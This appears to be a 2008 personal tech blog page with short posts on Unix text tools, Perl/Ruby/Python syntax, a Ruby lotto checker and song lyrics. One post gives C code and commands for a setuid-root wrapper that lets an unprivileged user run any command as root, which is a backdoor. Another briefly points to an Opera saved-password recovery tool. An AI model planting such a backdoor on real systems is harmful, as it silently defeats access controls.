Enigma

Posted by root Wed, 09 Jul 2008 22:40:00 GMT

Here’s the mirror
Behind there is a screen
Turn around
On both ways you can get in
The experience of survival
Look around just people, can you hear their voice
Find the one who’ll guide you to the limits of your choice
The experience / of survival
Try to think about it …
That’s the chance to live your life and discover
Try to think about it
The experience of survival
The experience …
The experience of survival
The experience …

Posted in  | Tags  | 1 comment

WEB 2.0 In NY

Posted by root Wed, 09 Jul 2008 20:08:00 GMT

Posted in  | Tags  | no comments

Google Chart API

Posted by root Mon, 30 Jun 2008 07:33:00 GMT

Charts for a map (in this example I’ve included Spain, France, Italy and Norway):



more about this API

Posted in  | Tags  | no comments

cheat sheets

Posted by root Fri, 30 May 2008 00:06:00 GMT

command-line cheat sheets

279 cheat sheets:
$cheat sheets
$cheat unix_text

One of Unix’s most useful features is its large number of text/data manipulations programs. Some of the more propular include:

cat - concatenate and display files
cut - remove selected fields from each line of a file
sort - sort and collate lines
uniq - remove or report adjacent duplicate lines
awk - pattern scanning and processing language
sed - stream editor
tr - translate characters
diff - display line-by-line differences between pairs of text files
grep, egrep, fgrep - search a file for a string or regular expression
paste - join corresponding lines of several files, or subsequent lines of one
file
colrm - remove characters from specified columns within each line
expand, unexpand - expand TAB characters to SPACE characters, and vice versa

Posted in  | Tags  | no comments

Geerd Wilders: Enough is enough

Posted by root Fri, 28 Mar 2008 20:06:00 GMT

Posted in  | Tags  | 2 comments

Scalar || List context

Posted by root Tue, 12 Feb 2008 20:12:00 GMT

Perl
 $a  = ("a", "b", "c"); # $a is "c" - the last element
($a) = ("a", "b", "c"); # $a is "a" - the first element
Ruby
 obj        = ["a", "b", "c"] # obj is Array - ["a", "b", "c"]
 obj, b, c = ["a", "b", "c"] # obj is String - "a"

Posted in , ,  | no comments

Lotto checking script

Posted by root Tue, 12 Feb 2008 19:16:00 GMT

The idea comes from http://www.waider.ie/hacks/workshop/perl/lotto.pl script.

Should I be so wasteful? No:

irb
my_numbers       = [1,2,3,4,5,6]
winning_numbers = [1,2,3,41,42,43]

result = 6 - (winning_numbers - my_numbers).size

puts "#{result} " + 
  if not result.eql? 0
    "hits"
  else
    "hit"
  end

Posted in ,  | Tags  | no comments

getting root acccess without sudo

Posted by root Sat, 29 Dec 2007 15:31:00 GMT

#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char** argv)
{
    int root_id = 0;
    char *command = argv[1];

    if(!command)
        command = "/bin/bash";

    setuid(root_id);
    system(command);
    exit(0);
}
root# gcc -o temproot temproot.c
root# chmod +s temproot
nobody$ alias root=’temproot “su – root”’
nobody$ root

Posted in  | Tags  | no comments

List Values and Arrays

Posted by root Fri, 30 Nov 2007 14:28:00 GMT

Perl

($a, $b) = (1, 2);
 @arr    = (1, 2);

Python
 a, b = 1, 2
 arr  = 1, 2;

Ruby
 a, b = 1, 2
 arr  = 1, 2
 arr  = 1,2, *[11,22] # the same as 
 arr  = [1,2, [11,22]].flatten
the ’*’ example was stolen from Ola Bini’s blog

Posted in , ,  | Tags  | no comments

Opera password recovery

Posted by root Tue, 30 Oct 2007 00:44:00 GMT

Unwand – fast and free program for wand password recovery.

Posted in  | Tags ,  | no comments

Older posts: 1 2